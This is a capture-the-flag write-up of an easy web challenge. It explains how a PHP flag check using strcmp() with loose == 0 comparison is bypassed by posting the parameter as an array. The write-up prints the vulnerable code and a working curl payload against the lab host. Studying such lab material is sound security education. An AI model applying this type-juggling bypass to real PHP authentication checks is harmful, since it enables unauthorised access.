Практикующий жонглер (Practice Juggler)
Практикующий жонглер (Practice Juggler)
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: php_strcmp_type_juggling_bypass, array_injection_to_bypass_string_comparison, source_code_analysis
Summary
Task: PHP circus website with flag check using strcmp() and loose comparison (== 0). Solution: Array injection (flag[]=x) makes strcmp() return NULL, which equals 0 in loose comparison, bypassing the check and revealing the flag.
Практикующий жонглер (Practice Juggler) — bug-makers
Description
Представление окончено! Теперь вам самим предстоит научиться еще одному трюку настоящего жонглера.
English summary: The show is over! Now you must learn another trick of a real juggler yourself. A PHP circus website is provided with source code in practice_jangler.zip. The goal is to bypass the flag check and retrieve the real flag.
Semantic Clues
- "Практикующий жонглер" (Practicing Juggler) — direct hint at PHP Type Juggling, a well-known vulnerability class
- "еще одному трюку настоящего жонглера" (another trick of a real juggler) — reinforces the type juggling theme
- The circus theme matches a prior hackerlab challenge "Цирковой трюк" (Circus Trick) which also involved PHP type juggling
Analysis
The source code is available in practice_jangler.zip containing public/index.php. The website is a circus-themed page with a flag submission form.
The critical code is in the flag check section (lines 110–118):
php read-only • copy allowedif (isset($_POST['flag'])) { $flag = 'DUCKERZ{...}'; if (strcmp($_POST['flag'], $flag) == 0) { echo "<div class='flag-success'>✅ Верно! Флаг: " . htmlspecialchars($flag) . "</div>"; } else { echo "<div class='flag-fail'>❌ Неверный флаг.</div>"; } }
Two vulnerabilities combine here:
strcmp()with non-string input: When PHP'sstrcmp()receives an array instead of a string, it returnsNULL(and emits a warning)- Loose comparison
== 0: In PHP,NULL == 0evaluates totrue
This means passing an array as the flag parameter bypasses the comparison entirely, and the server responds with the real flag value.
Why it works
php read-only • copy allowed// Normal: strcmp returns non-zero for wrong input strcmp("wrong_guess", "DUCKERZ{...}") != 0 // comparison fails // Exploit: strcmp returns NULL for array input strcmp(array("anything"), "DUCKERZ{...}") // returns NULL NULL == 0 // true in PHP loose comparison! // → flag check passes, real flag is echoed
The front-end JavaScript form sends flag=<value> as a URL-encoded string, but nothing prevents sending flag[]=<value> directly via curl, which PHP interprets as an array.
Solution
Send a POST request with flag as an array parameter instead of a string:
bash read-only • copy allowedcurl -s -X POST "https://practice-jangler.t1.bug-makers.ru/" -d "flag[]=anything"
The response HTML contains:
html read-only • copy allowed<div class='flag-success'>✅ Верно! Флаг: DUCKERZ{REDACTED}</div>
The flag itself — REDACTED — is a leet-speak encoding of "Another task on PHP type juggling", confirming the intended vulnerability class.